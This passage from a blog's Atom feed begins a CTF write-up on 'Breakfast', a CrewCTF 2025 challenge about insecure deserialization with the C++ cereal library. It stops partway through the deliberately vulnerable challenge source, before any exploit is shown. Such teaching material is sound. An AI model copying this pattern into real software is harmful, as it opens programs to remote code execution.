<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="https://trebledj.me">
  <title>TrebledJ&#39;s Pages</title>
  <subtitle>TrebledJ&#39;s personal blog on programming, cybersecurity, music, and memes.</subtitle>
  <link href="https://trebledj.me/feeds/ctf.xml" rel="self"/>
  <link href="https://trebledj.me"/>
  <updated>2025-10-03T00:00:00Z</updated>
  <id>https://trebledj.me</id>
  <author>
    <name>TrebledJ</name>
    <email>trebledjjj@gmail.com</email>
  </author>
  
    
      
      <entry>
        <title>Sharing is Caring: Arbitrary Code Execution for Breakfast</title>
        <description>A CTF challenge exploring binary exploitation in C++, gadget mania, and a new form of deserialization attack.</description>
        <link href="https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/"/>
        <updated>2025-10-03T00:00:00Z</updated>
        <id>https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/</id>
        <content xml:lang="en" type="html">&lt;p&gt;&lt;strong&gt;Breakfast&lt;/strong&gt; is a CTF challenge I designed for CrewCTF 2025. With deserialization attacks being in vogue, I wanted to explore the topic in C++ and as a result, found an interesting niche bug in the &lt;a href=&quot;https://github.com/USCiLab/cereal&quot;&gt;cereal library&lt;/a&gt;. In this writeup, we&#39;ll revisit C++ internals and explore binary exploitation techniques beyond &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Return-Oriented Programming&quot;&gt;ROP&lt;/abbr&gt;. We’ll learn how even a properly written C++ program could be vulnerable to remote code execution through insecure deserialization.&lt;/p&gt;
&lt;p&gt;In a future post, I will share a more detailed writeup on the research. But for now, let&#39;s have fun and focus on the challenge. :)&lt;/p&gt;
&lt;h2 id=&quot;the-challenge&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#the-challenge&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Challenge&lt;/h2&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The CTF has ended, but the binaries are public! If you want to try solving it or want to follow along, you can grab the challenge distribution pack &lt;a href=&quot;https://github.com/Thehackerscrew/2025.crewc.tf/blob/32e7548fb6c25e5511194e75a142fbcc41aebc8f/files/c7db6392685529a5ed8b2cb51fd46184/dist.zip&quot;&gt;&lt;em&gt;here&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Name: Breakfast&lt;/li&gt;
&lt;li&gt;Solves: &lt;a href=&quot;https://github.com/Thehackerscrew/2025.crewc.tf/blob/32e7548fb6c25e5511194e75a142fbcc41aebc8f/api/v1/challenges/28/index.json&quot;&gt;11&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Difficulty: Easy-Medium?&lt;/li&gt;
&lt;li&gt;Description:
&lt;blockquote&gt;
&lt;p&gt;They say breakfast is the most important meal of the day. But sometimes you just need milk to avoid Confusing your favourite Type of cereal…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The code is short, but don&#39;t let that fool you. A lot of complexity is abstracted away by the &lt;a href=&quot;https://github.com/USCiLab/cereal&quot;&gt;cereal library&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;breakfast.cpp&quot; class=&quot;line-numbers language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;cereal/archives/json.hpp&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;cereal/types/memory.hpp&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;cereal/types/string.hpp&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;sstream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Congee&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; ingredients&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Archive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Archive&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; ar&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;CEREAL_NVP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ingredients&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;friend&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Congee&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ingredients&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            os &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ingredients&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Toast&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; spread&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;Toast&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;uint64_t&lt;/span&gt; spread &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; spread&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;spread&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;eat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Mmm- crunchy!&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Archive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Archive&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; ar&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;CEREAL_NVP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;spread&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;friend&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Toast&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;spread&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Fruit&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string name&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Archive&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Archive&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; ar&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;CEREAL_NVP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;friend&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;operator&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;ostream&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; os&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Fruit&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; os &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; argc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Gonna pop to the store to buy some milk for breakfast.&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Keep this data safe for me while I&#39;m gone, alright?&#92;n&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;stringstream ss&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        cereal&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;JSONOutputArchive &lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ss&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cereal&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;JSONOutputArchive&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Options&lt;/span&gt;&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;NoIndent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Congee&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make_shared&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Congee&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Toast&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; t &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make_shared&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Toast&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Toast&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;shared_ptr&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Fruit&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make_shared&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Fruit&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Fruit&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Apple&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ss&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;erase&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;&#92;n&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; s &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;n&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Remind me of the data again? &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string input&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
